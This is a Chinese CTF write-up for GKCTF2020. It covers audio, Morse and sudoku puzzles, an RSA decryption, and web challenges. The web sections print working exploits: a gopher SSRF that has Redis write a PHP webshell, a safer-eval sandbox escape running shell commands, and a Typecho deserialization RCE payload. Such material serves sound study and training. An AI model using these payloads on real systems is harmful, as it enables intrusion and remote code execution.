本篇內容
MISC:
[GKCTF2020]Harley Quinn
[GKCTF2020]Sail a boat down the river
Crypto:
Web:
[GKCTF2020]cve版簽到
[GKCTF2020]EZ三劍客-EzWeb
[GKCTF2020]EZ三劍客-EzNode
[GKCTF2020]EZ三劍客-EzTypecho
以下內容參考官方WP,在GKCTF的QQ羣文件裏的GKCTF2020_官方WriteUp.pdf
文件。
音頻解碼可能有誤差,密碼爲有意義的無空格小寫短句 解密版本爲1.25
hint1:電話音&九宮格
hint2:FreeFileCamouflage,下載的文件可能顯示亂碼
壓縮包打開有提示:
聽一下Heathens.wav
,歌的最後有撥號音,提取出來,我將它命令爲aaa.wav。
使用dtmf2num.exe
分析:
然後Heathens.wav
裏提示這是密碼。
對着九宮格輸入法解一下就能出密碼。
#22283334447777338866#
#c tf i s e u n#
這裏我用dtmf2num.exe分析的稍微有點問題,但是結合語義不難發現密碼是“ctfisfun”。
然後使用Free File Camouflage v1.25
工具解密即可得到flag。
flag{Pudd1n!!_y0u_F1nd_m3!}
[GKCTF2020]Sail a boat down the river
hint:閃爍的光芒,是一行不是一列,加密方式很常見
首先是flag.mp4
視頻裏的二維碼掃描得到一個網盤鏈接。
https://pan.baidu.com/s/1tygt0Nm_G5fTfVFlgxVcrQ
然後是真的想不到的一點,按照視頻裏的攝像頭閃光長短轉換成摩斯密碼
。
先將視頻轉成幀,我用的ps轉成的共有499幀。在視頻118-130
幀、200-208
幀、320-334
幀、410-418
幀有閃爍。短是1幀,⻓是3幀
。
-.--/.--/---../--.
解碼得yw8g
。
打開網盤鏈接取得shudu.txt
。
0 8 1 7 4 0 0 0 0
3 0 2 0 6 8 0 0 0
4 0 6 5 0 0 8 2 0
0 3 0 0 0 0 0 5 6
7 0 4 3 0 9 2 0 1
1 2 0 0 0 0 0 4 0
0 5 9 0 0 4 1 0 8
0 0 0 1 8 0 9 0 2
0 0 0 0 9 7 4 6 0
密文:
efb851bdc71d72b9ff668bddd30fd6bd
密鑰:
第一列九宮格從左到右從上到下
注意:這裏根據hint知道是寫錯了,是一行不是一列
。
在琳琅在線自動求解數獨,結果如下:
用第一行九宮格從左到右從上到下得到密鑰52693795149137
。
這裏使用AES的hex加密算法。
自己對AES確實不瞭解,看的官方WP用的這種方式解出來的GG0kc.tf
。
GG0kc.tf
就是題目附件中的vocal.rar的密碼,解壓得到逆光 vocal.ovex
文件。
使用Overture 5
打譜軟件打開,在歌詞裏看到flag。
flag{gkctf_is_fun}
[GKCTF2020]Backdoor
官方WP就給了一個腳本,說實話我是真的看不懂。以下寫寫我自己的理解。
下載附件,得到flag.enc
、pub.pem
、task.py
。
#!/usr/bin/python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2, binascii
import base64
from FLAG import flag
def rsa_encrypt(message):
with open('./pub.pem' ,'r') as f:
key = RSA.import_key(f.read())
e = key.e
n = key.n
c = pow(bytes_to_long(flag), e, n)
ciphertext = binascii.hexlify(long_to_bytes(c))
return ciphertext
if __name__ == "__main__":
text = base64.b64encode(rsa_encrypt(flag))
with open('flag.enc','wb') as f:
f.write(text)
首先由pub.pem
可以得到e,n
,這個是不會變的。
e = 65537
n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739
然後要分解n得到p,q
,但是題目中給的p=k*M+(65537**a %M)
提示我用不來,但是在http://factordb.com/可以大整數分解得到p,q
p = 4582433561127855310805294456657993281782662645116543024537051682479
q = 3386619977051114637303328519173627165817832179845212640767197001941
知道p,q,e
就能得到d
d= 11499569785990181290142150447540986299729313689398043794865222914751456271097337104622884992345120278959213140333860537563347711742153
由flag.enc
經過base64解密的結果就是ciphertext
,進而得到密文c
。
MDIxNDJhZjdjZTcwZmUwZGRhZTExNmJiN2U5NjI2MDI3NGVlOTI1MmE4Y2I1MjhlN2ZkZDI5ODA5YzJhNjAzMjcyN2MwNTUyNjEzM2FlNDYxMGVkOTQ0NTcyZmYxYWJmY2QwYjE3YWEyMmVmNDRhMg==
#base64解密得到ciphertext
ciphertext = 02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2
#經過bytes_to_long(binascii.unhexlify(ciphertext))得到密文c
c = 5902102609936183530036413041949205016072856184947596155784933422689438216690059498706287388882989673839294236821030261398121787376802
最終py腳本:
#Author: 空舵
from Cryptodome.Util.number import *
from Cryptodome.PublicKey import RSA
import gmpy2, binascii
import base64
def decrypt():
with open('./pub.pem' ,'r') as f:
key = RSA.import_key(f.read())
e = key.e
n = key.n
print('e = %d\nn = %d'%(e,n))
ciphertext = b'02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2'
c = bytes_to_long(binascii.unhexlify(ciphertext))
print('c =',c)
p = 4582433561127855310805294456657993281782662645116543024537051682479
q = 3386619977051114637303328519173627165817832179845212640767197001941
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print("d =",d)
m = pow(c,d,n)
print('m =',m)
print('long_to_bytes(m) =',long_to_bytes(m))
if __name__ == "__main__":
decrypt()
這裏注意,腳本中的Cryptodome
可能需要改爲Crypto
,我的Crypto
庫不能用,只能用這個Cryptodome
。
得到最終flag:
flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}
。
hint:cve-2020-7066
搜索後可以該漏洞:
PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函數存在安全漏洞;
get_headers($url)函數中的內容可以被%00截斷。
結合get_headers()函數的漏洞,使用%00截斷使其訪問127.0.0.1
。
得到最終動態flag。
[GKCTF2020]EZ三劍客-EzWeb
右鍵源代碼看到<!--?secret-->
。
通過內網探測可以發現173.97.195.11
上開着web服務。
根據提示說的是端口,進⼀步發現.11開着6379
端⼝
利用gopher://
協議進行SSRF。
將生成的127.0.0.1:6379
改爲對應的IP:port
。
gopher:///173.97.195.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%20%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
點擊提交後直接打開一個新標籤頁訪問173.97.195.11/shell.php
即可得到flag。
Nodejs不會,本題也看不懂,直接照着官方WP做了一遍。還有參考Y1ng師傅的WP
考點:
Nodejs內置函數特性
Nodejs庫漏洞搜尋
saferEval沙箱逃逸
// 2020.1/WORKER2 老闆說爲了後期方便優化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老闆說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
這裏就是拿60*1000與我們傳入的delay進行比較,選一個比較大的數,但是數太大的話就會超時。
setTimeout 當 delay ⼤於 2147483647 或⼩於 1 時,則 delay 將會被設置爲 1。
⾮整數的 delay 會被截斷爲整數。
所以直接傳入?delay=99999999999
繞過timeout。
接着查看版本,猜測是跟safer-eval
有關。是saferEval的RCE,雖然它本身是個沙箱來保證eval的安全性,但是可以逃逸,參考https://github.com/commenthol/safer-eval/issues/10。
直接拿來用就能拿到flag。
e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()
[GKCTF2020]EZ三劍客-EzTypecho
解題參考GKCTF2020-後四道WEB復現-wp和Typecho反序列化漏洞導致前臺getshell。
漏洞存在的位置:
exp:
<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'system("cat /flag");';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp));
?>
運行得到
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
又由於必須存在referer。
構造最終payload:
http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php?start=
POST:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
Referer:http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php
得到最終flag。
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/106334413
========================================================